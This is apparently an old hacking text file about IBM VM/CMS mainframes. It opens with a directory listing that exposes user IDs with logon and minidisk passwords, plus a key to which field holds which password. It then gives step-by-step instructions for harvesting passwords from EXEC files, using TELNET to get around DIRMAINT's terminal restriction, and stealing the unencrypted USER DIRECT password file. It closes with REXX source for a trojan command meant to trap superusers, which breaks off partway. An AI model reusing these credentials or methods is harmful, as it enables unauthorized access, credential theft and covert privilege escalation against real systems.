MDISK 225 3350 000 555 SYSWK1 MR VSE225 VSE5WO
* 3380 SYSTEM
MDISK 200 3380 000 885 SYSWKA MR VSE219 VSEAWO
*
USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON
INCLUDE EXPPROF
ACCOUNT 46 ROUTER
MDISK 191 3380 636 003 VMSRES MR RROUTER WROUTER MROUTER 03131808
*
USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON
*
* 5668899 APL2 SERVICE MACHINE
*
INCLUDE EXPPROF
ACCOUNT 9999 APL2-SVP
MDISK 191 3380 731 003 VMPK01 MR RAP2SVP WAP2SVP MAP2SVP 03131808
*
USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON
*
* 5668899 APL2
*
INCLUDE EXPPROF
ACCOUNT 9999 I5668899
MDISK 191 3380 264 044 VMSRES MR ALL WAPL2PP 03131808
*
USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
ACCOUNT 15 SYSTEM
LINK ISPVM 192 192 RR
LINK SQLDBA 195 195 RR
MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS INSTALL 03131808
MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS SYSTEM 03131808
MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS TEST 03131808
MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS IPCS 03131808
*
USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
ACCOUNT 15 SYSTEM
OPTION MAXCONN 20
IUCV ALLOW
LINK VMASSYS 191 390 RR
LINK VMASSYS 391 391 RR
MDISK 191 3380 567 002 VMPK01 MR RVMASMON WVMASMON MVMASMON 03131808
*
USER VMASTEST VMASTEST 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
ACCOUNT 15 SYSTEM
LINK VMASSYS 391 391 RR
LINK VMASSYS 392 392 RR
MDISK 191 3380 713 018 VMPK01 MR RVMASTES WVMASTES MVMASTES 03131808
*
USER BATCH BATCH 2M 2M ABEG 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY
*
INCLUDE EXPPROF
ACCOUNT 999
IUCV ALLOW
OPTION BMX MAXCONN 256
MDISK 191 3380 741 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
MDISK 193 3380 744 020 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
MDISK 194 3380 764 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
MDISK 199 3380 767 002 VMPK01 RR RVMBATCH WVMBATCH MVMBATCH 03131808
MDISK 195 3380 769 002 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
*
USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
ACCOUNT 999
MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
*
USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
ACCOUNT 999
MDISK 191 3380 776 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808
*
* USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON
*
* 5668814 CSP
*
* INCLUDE EXPPROF
* ACCOUNT 101
* MDISK 191 3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808
* MDISK 193 3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808
* MDISK 502 3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808
* MDISK 503 3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808
*
USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON
*
* 5664296 CVIEW
*
INCLUDE EXPPROF
ACCOUNT 15 SYSTEM
OPTION BMX
LINK MAINT 193 193 RR
MDISK 191 3380 732 004 VMSRES MR RCVIEW WCVIEW 03131808
*
USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON
*
* 5748XE4 DIRMAINT
*
INCLUDE EXPPROF
ACCOUNT 7 SYSADMIN
OPTION REALTIME ECMODE
MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808
MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808
MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808
MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808
MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808
MDISK 123 3380 000 885 VMSRES MW 03131808
*
USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON
*
* 5748XE4 DATAMOVE MACHINE
*
INCLUDE EXPPROF
ACCOUNT 5 SYSADMIN
OPTION ACCT ECMODE
LINK DIRMAINT 191 193 RR
LINK MAINT 193 192 RR
MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV 03131808
*
USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON
*
* 5798DMY FILE STORAGE CONTROL MACHINE
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION ECMODE BMX MAXCONN 256
IUCV ALLOW PRIORITY MSGLIMIT 255
LINK FSFADMIN 192 198 RR
MDISK 191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
MDISK 401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808
*
USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION BMX MAXCONN 2
IUCV ALLOW PRIORITY MSGLIMIT 255
LINK FSFCNTRL 191 191 RR
*
USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION BMX MAXCONN 2
IUCV ALLOW PRIORITY MSGLIMIT 255
LINK FSFCNTRL 191 191 RR
*
USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE ADMINISTRATOR
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION BMX MAXCONN 2
IUCV ALLOW PRIORITY MSGLIMIT 255
LINK MAINT 319 319 RR
MDISK 192 3380 175 003 VMPK02 MR RFSFADMI WFSFADMI MFSFADMI 03131808
*
USER IIPS IIPS 2M 4M G 64 ON ON ON ON
*
* 5668012 IIPS
*
INCLUDE EXPPROF
ACCOUNT 8 INSTR
MDISK 191 3380 736 013 VMSRES MR RIIPS WIIPS MIIPS 03131808
MDISK 193 3380 749 019 VMSRES MR RIIPS WIIPS MIIPS 03131808
*
USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
LINK MAINT 300 300 RR
MDISK 191 3380 781 001 VMPK01 MR RADMIN WADMIN MADMIN 03131808
*
USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
OPTION ECMODE
LINK MAINT 300 300 RR
MDISK 191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN 03131808
*
USER CPRM CPRM 512K 1M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
LINK OPERATNS 193 193 RR
MDISK 191 3380 783 001 VMPK01 MR RCPRM WCPRM MCPRM 03131808
MDISK 192 3380 098 007 VMSRES MR ALL WCPRM MCPRM 03131808
MDISK 291 3380 784 001 VMPK01 MR RCPRM WCPRM MCPRM 03131808
*
USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
LINK MAINT 300 300 RR
MDISK 191 3380 058 001 VMSRES MR ROP1 WOP1 MOP1 03131808
*
USER VMUTIL VMUTIL 512K 2M ABDEG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
IPL CMS
OPTION ECMODE
LINK MAINT 300 300 RR
MDISK 191 3380 059 001 VMSRES MR RVMUTIL WVMUTIL MVMUTIL 03131808
*
USER IPFSERV IPFSERV 2M 16M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
IPL CMS
CONSOLE 009 3215 T MAINT
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 123 123 MW
LINK MAINT 190 190 RR
LINK MAINT 191 192 RR
LINK MAINT 193 193 RR
LINK MAINT 194 194 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
LINK MAINT 294 294 RR
LINK MAINT 295 295 RR
LINK MAINT 300 300 RR
MDISK 191 3380 060 001 VMSRES MR RIPFSERV WIPFSERV MIPFSERV 03131808
*
USER ISPVM ISPVM 1M 10M EG 64 ON ON ON ON
*
* 5664282 ISPF
*
INCLUDE EXPPROF
ACCOUNT 104 USER04
MDISK 191 3380 548 005 VMSRES MR RISPVM WISPVM MISPVM 03131808
MDISK 192 3380 110 054 VMSRES MR RISPVM WISPVM MISPVM 03131808
*
USER NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON
*
* 5664175 NETVIEW
*
ACCOUNT NETVIEW GCS
OPTION ECMODE
IUCV ANY P M 0
IUCV *LOGREC
IPL GCS PARM AUTOLOG
CONSOLE 01F 3215
SPOOL 00C 2540 READER A
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 334 191 RR
LINK VTAM 191 291 RR
LINK VTAM 29A 29A RR
LINK MAINT 595 595 RR
MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW WNETVIEW MNETVIEW 03131808
*
USER PRODBM PRODBM 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS DATABASE MANAGER
*
INCLUDE EXPPROF
ACCOUNT 250 PRODBM
OPTION MAXCONN 2000
IUCV ALLOW
LINK SYSADMIN 399 399 RR
MDISK 161 3380 169 011 PROFPK MR RDBM WDBM MDBM 03131808
MDISK 191 3380 165 004 PROFPK MR RDBM WDBM MDBM 03131808
MDISK 5FD 3380 206 013 PROFPK MR RDBM WDBM MDBM 03131808
MDISK 5FE 3380 193 013 PROFPK MR RDBM WDBM MDBM 03131808
MDISK 5FF 3380 180 013 PROFPK MR RDBM WDBM MDBM 03131808
*
USER PROMAIL PROMAIL 1M 2M G 64 ON ON ON ON
*
* 5664309 PROFS DISTRIBUTION MANAGER
*
INCLUDE EXPPROF
ACCOUNT 250 PROMAIL
LINK PRODBM 191 395 RR
LINK SYSADMIN 399 399 RR
MDISK 151 3380 092 004 PROFPK MR RMAIL WMAIL MMAIL 03131808
MDISK 191 3380 084 008 PROFPK MR RMAIL WMAIL MMAIL 03131808
*
USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS CALENDAR MANAGER
*
INCLUDE EXPPROF
ACCOUNT 250 PROCAL
LINK PRODBM 191 395 RR
LINK SYSADMIN 398 398 RR
LINK SYSADMIN 399 399 RR
MDISK 191 3380 096 004 PROFPK MR RCAL WCAL MCAL 03131808
MDISK 5FB 3380 100 013 PROFPK MR RCAL WCAL MCAL 03131808
MDISK 5FC 3380 113 013 PROFPK MR RCAL WCAL MCAL 03131808
MDISK 5FD 3380 126 013 PROFPK MR RCAL WCAL MCAL 03131808
MDISK 5FE 3380 139 013 PROFPK MR RCAL WCAL MCAL 03131808
MDISK 5FF 3380 152 013 PROFPK MR RCAL WCAL MCAL 03131808
*
USER SYSADMIN NOLOG 1M 16M EG 64 ON ON ON ON
*
* 5664309 PROFS ADMINISTRATOR
*
INCLUDE EXPPROF
ACCOUNT 250 SYSADMIN
LINK PRODBM 161 161 RR
LINK PRODBM 191 4FA RR
LINK PRODBM 5FD 5FD RR
LINK PRODBM 5FE 5FE RR
LINK PRODBM 5FF 5FF RR
MDISK 191 3380 001 011 PROFPK MR RADMIN WADMIN MADMIN 03131808
MDISK 298 3380 012 029 PROFPK MR RADMIN WADMIN MADMIN 03131808
MDISK 398 3380 041 019 PROFPK MR RADMIN WADMIN MADMIN 03131808
MDISK 399 3380 060 024 PROFPK MR RADMIN WADMIN MADMIN 03131808
MDISK 397 3380 219 002 PROFPK MR ALL WADMIN MADMIN 03131808
*
USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON
*
* 5664198 PSF
*
INCLUDE EXPPROF
ACCOUNT 100 PSF
OPTION ACCT
IUCV *SPL
LINK PDM470 191 193 RR
LINK PDMREM1 191 194 RR
LINK PSFMAINT 191 291 RR
LINK PSFMAINT 193 293 RR
LINK PSFMAINT 194 294 RR
MDISK 191 3380 839 020 VMSRES MR RSFCM1 WSFCM1 03131808
*
USER PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON
*
* 5664198 PSF MAINTENANCE
*
INCLUDE EXPPROF
ACCOUNT 1 SYSPROG
MDISK 191 3380 814 011 VMSRES MR RPSFMAIN WPSFMAIN 03131808
MDISK 193 3380 825 004 VMSRES MR RPSFMAIN WPSFMAIN 03131808
MDISK 194 3380 829 010 VMSRES MR RPSFMAIN WPSFMAIN 03131808
*
USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3800 PDM
*
INCLUDE EXPPROF
ACCOUNT 100 PSF
OPTION ACCT
IUCV *SPL
*DEDICATE 470 470
LINK SFCM1 191 193 RR
LINK PSFMAINT 191 291 RR
LINK PSFMAINT 194 294 RR
MDISK 191 3380 809 005 VMSRES MR RPDM470 WPDM470 03131808
*
USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3820 PDM
*
ACCOUNT 100 PSF
OPTION ACCT ECMODE
IPL GCS PARM AUTOLOG
IUCV *SPL
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19E 19E RR
LINK MAINT 595 595 RR
LINK SFCM1 191 193 RR
LINK PSFMAINT 191 291 RR
LINK PSFMAINT 194 294 RR
MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1 03131808
*
USER PVM PVM 1024K 2M BG 50 ON ON ON ON
*
* 5748RC1 VM PASS-THROUGH FACILITY
*
INCLUDE EXPPROF
OPTION ECMODE
LINK MAINT 193 193 RR
LINK MAINT 36E 191 MR
*
USER RSCS RSCS 1M 2M BG 64 ON ON ON ON
*
* 5748XP1 RSCS V1
*
ACCOUNT 15 SYSTEM
OPTION ACCT ECMODE
IPL 191
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 193 193 RR
LINK MAINT 19E 19E RR
LINK MAINT 19D 19D RR
LINK MAINT 49E 49E RR
MDISK 191 3380 105 002 VMSRES MR RRSCS WRSCS MRSCS 03131808
*
USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON
*
* 5664188 RSCS (VERSION 2)
*
ACCOUNT 15 SYSTEM
OPTION ECMODE ACCT BMX VCUNOSHR
IPL GCS PARM AUTOLOG
CONSOLE 01F 3215 T OPERATOR
SPOOL 00C 2540 READER A
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 595 595 RR
LINK MAINT 59F 191 RR
*
USER SMART SMART 2048K 2M CEG 64 ON ON ON ON
*
* 5796PNA VM REAL TIME MONITOR SYSTEM
*
INCLUDE EXPPROF
ACCOUNT 999
LINK MAINT 319 319 RR
MDISK 191 3380 848 026 VMPK01 MR RSMART WSMART MSMART 03131808
*
USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \
*
* 5748XXJ SQL/DS ADMINISTRATOR
*
ACCOUNT 26
OPTION MAXCONN 25
IUCV ALLOW
IUCV *IDENT SQLDBA GLOBAL
IPL CMS
CONSOLE 009 3215 T OPERATOR
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
MDISK 191 3380 001 010 SQLPK W 03131808
MDISK 193 3380 011 035 SQLPK R RSQL WSQL 03131808
MDISK 195 3380 046 013 SQLPK RR RSQL WSQL MSQL 03131808
MDISK 200 3380 059 034 SQLPK R RSQL WSQL 03131808
MDISK 201 3380 093 011 SQLPK R RSQL WSQL 03131808
MDISK 202 3380 104 100 SQLPK R RSQL WSQL 03131808
*
USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON
*
* 5748XXJ SQL/DS USER MACHINE
*
INCLUDE EXPPROF
ACCOUNT 27
OPTION REALTIMER
IUCV SQLDBA
LINK SQLDBA 195 195 RR
MDISK 191 3380 204 003 SQLPK W 03131808
*
USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION ACCT ECMODE
LINK MAINT 123 1A0 RR
MDISK 191 3380 001 011 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808
MDISK 193 3380 012 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808
MDISK 100 3380 019 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808
MDISK 101 3380 026 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808
MDISK 200 3380 033 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808
*
USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
ACCOUNT 999
OPTION ACCT BMX ECMODE
IPL CMS
CONSOLE 009 3215
SPOOL 001 2540 READER *
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH
SPOOL 0D0 2540 PUNCH
SPOOL 0D1 2540 PUNCH
SPOOL 00E 1403
SPOOL 0E0 1403
SPOOL 0E1 1403
SPOOL 0E2 1403
SPOOL 0E3 1403
SPOOL 0E4 1403
SPOOL 0E5 1403
SPOOL 0E6 1403
SPOOL 0E7 1403
LINK MAINT 190 190 RR
LINK MAINT 19E 19E RR
LINK MAINT 123 1A0 RR
MDISK 191 3380 040 006 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808
MDISK 192 3380 046 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808
MDISK 193 3380 049 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808
MDISK 194 3380 052 044 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808
*
USER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
ACCOUNT 999
LINK MAINT 191 124 RR
LINK VMBACKUP 194 294 RR RVMBACKU
LINK VMBACKUP 193 293 RR RVMBACKU
LINK MAINT 123 1A0 RR
MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808
MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808
*
USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
ACCOUNT DEMO1 DEMO1
IUCV SQLDBA
LINK MAINT 319 319 RR
LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR
LINK MAINT 326 326 RR
LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR
LINK SYSADMIN 399 399 RR
MDISK 191 3380 107 003 VMSRES MR RDEMO1 WDEMO1 MDEMO1 03131808
*
USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
ACCOUNT DEMO2 DEMO2
IUCV SQLDBA
LINK MAINT 319 319 RR
LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR
LINK MAINT 326 326 RR
LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR
LINK SYSADMIN 399 399 RR
MDISK 191 3380 859 003 VMSRES MR RDEMO2 WDEMO2 MDEMO2 03131808
*
USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
ACCOUNT DEMO3 DEMO3
IUCV SQLDBA
LINK MAINT 319 319 RR
LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR
LINK MAINT 326 326 RR
LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR
LINK SYSADMIN 399 399 RR
MDISK 191 3380 862 003 VMSRES MR RDEMO3 WDEMO3 MDEMO3 03131808
*
USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
ACCOUNT DEMO4 DEMO4
IUCV SQLDBA
LINK MAINT 319 319 RR
LINK MAINT 31A 31A RR
LINK MAINT 322 322 RR
LINK MAINT 326 326 RR
LINK MAINT 34A 59A RR
LINK SQLDBA 195 195 RR
LINK SYSADMIN 399 399 RR
MDISK 191 3380 865 003 VMSRES MR RDEMO4 WDEMO4 MDEMO4 03131808
*
USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
ACCOUNT 999
OPTION BMX ECMODE ACCT
MDISK 191 3380 110 005 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808
MDISK 200 3380 115 007 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808
MDISK 300 3380 122 007 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808
*
USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
ACCOUNT 999
LINK VMTAPE 191 193 MR
LINK VMTAPE 200 200 MW
LINK VMTAPE 300 300 MW
MDISK 191 3380 129 005 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR 03131808
MDISK 192 3380 134 007 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR 03131808
*
USER VMMAP VMMAP 2M 4M G 64 ON ON ON ON
*
* 5664191 VMMAP
*
INCLUDE EXPPROF
ACCOUNT 999
LINK MAINT 193 193 RR
MDISK 191 3380 639 024 VMSRES MR RVMMAP WVMMAP MVMMAP 03131808
*
USER VTAM VTAM 5M 16M G 64 ON ON ON ON
*
* 5664280 VTAM
*
ACCOUNT VTAM GCS
OPTION ECMODE DIAG98 MAXCONN 400
IUCV *CCS P M 10
IUCV ANY P M 0
IPL GCS PARM AUTOLOG
CONSOLE 01F 3215
SPOOL 00C 2540 READER A
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 298 191 RR
LINK MAINT 29A 29A RR
LINK MAINT 595 595 RR
*
USER VM3812 VM3812 3M 4M BG 64 ON ON ON ON
*
* 5798DTE VM3812 SERVICE MACHINE
*
INCLUDE EXPPROF
ACCOUNT 15 SYSTEM
MDISK 191 3380 813 004 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808
MDISK 192 3380 817 007 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808
MDISK 193 3380 824 020 VMPK01 MR ALL WVM3812 03131808
* ADD USER ID ------
USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
ACCOUNT 999 SYSTEM
MDISK 191 3380 001 030 EDMD01 MR VSE 03131808
MDISK 192 3380 873 012 VMSRES MR VSE 03131808
USER PENG PENG 2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
ACCOUNT 999 SYSTEM
MDISK 191 3380 553 010 VMSRES MR PENG PENG 03131808
*
USER MOESERV MOESERV 2M 16M G 42 ON ON ON ON
INCLUDE EXPPROF
ACCOUNT 996 MOE
MDISK 191 3380 544 002 VMPK01 MR MOESERV MOESERV 03131808
*
USER VTAMUSER CCC 2M 8M G 64 ON ON ON ON
*
* 5668814 CSP
*
INCLUDE EXPPROF
ACCOUNT 101
MDISK 191 3380 134 032 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808
USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON
INCLUDE EXPPROF
ACCOUNT 101
MDISK 191 3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808
MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808
===============================================================================
If you need an explanation about these two tables, you should look at it like
this:
|------User ID
| |-------That User ID's password
^ ^
USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON
^ ^ ^
| | |---Its privilege grade
| |--Its maximum memory storage
|
|----Its default memory storage
INCLUDE EXPPROF <-----What you see when you log on
ACCOUNT 101
MDISK 191 3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1
^ ^ ^ ^
| | | |---Minidisk mult pass
| | |---Minidisk write pass
| |---Minidisk read pass
|--Its minidisk
MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1
===============================================================================
Luckily, I have tested the second table in 4 VM systems and it works. May you
be lucky too!
Of course, since all of us are general users, the first thing to know is how to
get privileges by trying a password or by accident by getting privileged users'
passwords.
While CP/CMS uses passwords to control performance, it must store some
passwords in the REXX command language (EXEC files). It looks like this:
CP LINK VTAMUSER 191 121 RR VTAM1
If you have succeeded in linking that minidisk then:
AC 121 B
FILEL * * B
Then you can see all of the files owned by VTAMUSER. Usually people are lazy
enough to remember too many passwords, so to read the passwords. It may be its
CP pass too! TRY IT!!!
But IBM is not so stupid as to let any user with privileges open accounts
randomly. It limits a maximum of 8 superusers to be able to do it. You may
find it in:
DIRMAINT DATA Y2
Only these DIRM-STAFF can open accounts from the console. If another user logs
on from a terminal, he will be logged out immediately even though he knew the
password. And only these STAFF have 2 modes of operation to use:
DIRM
One is general user mode and the other is operation mode (Privilege operation)
so you have to cheat the O.S. to think that you are NOT logged in from a
terminal. Our way is to use TELNET. Usually this package is named TCPIP. Do
this:
TELNET yourhost
It will request you logon again. Then, if you logon with the superuser ID &
password, the O.S. will not recognize that you are from a terminal and will let
you in!! The most important thing is that IBM stores its user IDs & passwords
in a file:
USER DIRECT
Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!! I
do not know why, but it actually is not encrypted!!!! Incredible to believe...
Once you have this file, you will know all users' passwords and all information
about all users' IDs and I think it is rude to open new accounts! Poor me!
I've done this and lost privs 3 times now. While there is a way to get back
your privs, first you need find a privileged ID so that you can write your file
in it. Then, write a EXEC file into it. This file's name must be a most
common command that any one will issue. If the general user uses it, nothing
happens, but if a superuser issues it, then it will do something for you! Here
is a example:
Please note that wherever you see (cut), it means that the line was too long
and had to be split. Whenever you see (cut), take the line below the line that
it is on and paste it on the end of the (cut) line (removing the (cut) in the
process).
-----------------------------------Cut Here------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
TRACE O
USER = 0
SW = 1
S = 1
PARSE UPPER ARG NAM GARBAGE
IF NAM = ' ' THEN signal qname
PO = INDEX(NAM,'*')
IF PO = 0 THEN DO
Q NAM
EXIT
END
T = PO - 1
IF T= 0 THEN signal qname
NALL = SUBSTR(NAM,1,T)
EXECIO '* CP (STRING Q N '
NUMQ = QUEUED()
DO N = 1 TO NUMQ
PULL STR
PARSE VALUE STR with NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut)
','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N = 1 TO NUMQ
IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL & (cut)
SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE
A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(NB.N,1,T)=NALL & (cut)
SUBSTR(space(NB.N),1,4)^='LOGO' & SPACE
A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE
A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
